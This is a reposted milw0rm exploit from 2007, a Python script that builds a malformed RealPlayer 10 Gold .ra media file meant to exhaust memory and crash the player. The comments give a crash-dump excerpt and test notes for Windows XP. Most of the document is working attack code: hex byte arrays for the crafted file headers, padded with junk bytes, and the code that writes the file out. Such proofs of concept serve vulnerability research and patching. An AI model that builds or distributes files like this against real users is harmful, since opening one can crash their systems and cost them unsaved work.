[转载] RealPlayer 10 (.ra file) Remote Denial of Service Exploit

#!/usr/bin/python####*Real player 10 Gold .Ra file remote Dos. #Credits to n00b for finding this bug#This bug is a nasty memory leak with in#Real player 10 gold please remember if #your guna test it out save all your info#you need first..Coz your probly guna have #to reboot also remember all other applications#will be deprived of page memory so other #applications might fail upon execution####Tested: On win xp sp 1 / sp 2.#################################################################################Pf usage will go from around 120mb-1.40gb#I've provided the following debug info also#What i could collect from the crash dump..#No vital memory address where over written #Just a nasty memory leak.#################################################################################Executable search path is: #Windows XP Version 2600 (Service Pack 2) UP Free x86 compatible#Product: WinNt, suite: SingleUserTS Personal#Debug session time: Sun Apr 29 13:45:27.000 2007 (GMT-7)#System Uptime: 0 days 0:47:42.649#Process Uptime: 0 days 0:01:39.000#################################################################################This dump file has an exception of interest stored in it.#The stored exception information can be accessed via .ecxr.#(420.4a0): Access violation - code c0000005 (first/second chance not available)#eax=00000001 ebx=00000000 ecx=00000000 edx=00780764 esi=00785110 edi=6334def8#eip=632164b5 esp=0012ddc8 ebp=0012dfdc iopl=0          nv up ei pl zr na pe nc#cs=001b   ss=0023   ds=0023   es=0023   fs=003b   gs=0000              efl=00200246 #rput3260+0x64b5:#632164b5 8b11             mov      edx,dword ptr [ecx]   ds:0023:00000000=????????#################################################################################Seams like another memory leak in real-player 10 gold fully patched.#Im not relying on the debug-info as i had to reboot at crash time#Vist us at http://blackhat-forums.com/.#### ... #############import sysimport structimport timeprint"#########################################################################"print"            n00b is credited for find this bug and writing poc.            "print"#########################################################################"print"#                 Real player 10 gold .Ra file dos exploit                #"print"#                       Shouts to every one at milw0rm                    #"print"#                           =======================                       #"print"#                             Date :Aprill 29 2007                        #"print"#                                                                        #"print"#                 Shouts to marsu your doing a excellent job              #"print"#########################################################################"print""print"Special thanks to str0ke"print""print"Please wait your file is being created"time.sleep (2.0)################################################################################Main_Header   = "\x2e\x52\x4d\x46\x00\x00\x00\x12\x00\x01\x00\x00\x00\x00\x00\x00"Main_Header += "\x00\x06\x50\x52\x4f\x50\x00\x00\x00\x32\x00\x00\x00\x00\xfa\x53"Main_Header += "\x00\x00\xfa\x53\x00\x00\x02\xe8\x00\x00\x02\xe8\x00\x00\x00\x3c"Main_Header += "\x00\x00\x10\xe4\x00\x00\x07\x41\x00\x00\xb3\xee\x00\x00\x02\xac"Main_Header += "\x00\x02\x00\x0d\x0a\x4d\x44\x50\x52\x00\x00\x00\xa4\x00\x00\x00"Main_Header += "\x00\x00\x00\xfa\x53\x00\x00\xfa\x53\x00\x00\x02\xe8\x00\x00\x02"Main_Header += "\xe8\x00\x00\x00\x00\x00\x00\x07\x41\x00\x00\x15\xfd\x0c\x41\x75"Main_Header += "\x64\x69\x6f\x20\x53\x74\x72\x65\x61\x6d\x14\x61\x75\x64\x69\x6f"Main_Header += "\x2f\x78\x2d\x70\x6e\x2d\x72\x65\x61\x6c\x61\x75\x64\x69\x6f\x00"Main_Header += "\x00\x00\x56\x2e\x72\x61\xfd\x00\x05\x00\x00\x2e\x72\x61\x35\x66"Main_Header += "\x05\x63\xd7\x00\x05\x00\x00\x00\x46\x00\x0e\x00\x00\x02\xe8\x00"Main_Header += "\x00\xae\x60\x00\x07\x55\x6d\x00\x00\x00\x00\x00\x14\x02\xe8\x00"Main_Header += "\xba\x00\x00\x00\x00\xac\x44\x00\x00\xac\x44\x00\x00\x00\x10\x00"################################################################################Mid_Header =    "\x01\x67\x65\x6e\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"Mid_Header +=   "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"Mid_Header +=   "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"Mid_Header +=   "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x00\x00\x00\x00\x00\x00"Mid_Header +=   "\x00\x62\x1f\xc1\x42\x37\xc5\x7f\xd8\xaa\x9b\x59\x89\x0d\x91\xbb"Mid_Header +=   "\xcd\x29\x32\xb4\xb0\xd9\x30\x0f\x05\x08\x5e\x2b\x3f\x60\x23\x43"Mid_Header +=   "\xe2\xf3\x82\x96\x81\xfe\xa4\x83\x8e\x2b\x32\x09\x1a\x21\x1e\xc9"Mid_Header +=   "\x8d\x00\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"################################################################################Junk_Header =   "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"Junk_Header += "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"Junk_Header += "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"Junk_Header += "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"Junk_Header += "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"Junk_Header += "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"Junk_Header += "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"Junk_Header += "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"Junk_Header += "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"Junk_Header += "\x41\x41\x00\x37\xc5\x11\xf2\x37\xc5\x11\xf2\x37\xc5\x11\xf2\x37"################################################################################Tail_Header =   "\xc5\x49\x4e\x44\x58\x00\x00\x00\x3e\x00\x00\x00\x00\x00\x03\x00"Tail_Header += "\x00\x00\x00\xb4\x2c\x00\x00\x00\x00\x00\x5c\x00\x00\x02\xbe\x00"Tail_Header += "\x00\x00\x00\x00\x00\x00\x00\x07\x8c\x00\x00\x3d\xce\x00\x00\x00"Tail_Header += "\x14\x00\x00\x00\x00\x0e\xbc\x00\x00\x78\xde\x00\x00\x00\x28\x49"Tail_Header += "\x4e\x44\x58\x00\x00\x00\x14\x00\x00\x00\x00\x00\x00\x00\x01\x00"Tail_Header += "\x00\x00\x00\x00"n00b_file = open("Realplayerdos.ra","wb")n00b_file.write(Main_Header)time.sleep (1.0)n00b_file.write(Mid_Header)time.sleep (1.0)n00b_file.write(Junk_Header)time.sleep (1.0)n00b_file.write(Tail_Header)n00b_file.close()print"File was created."# milw0rm.com [2007-04-30]

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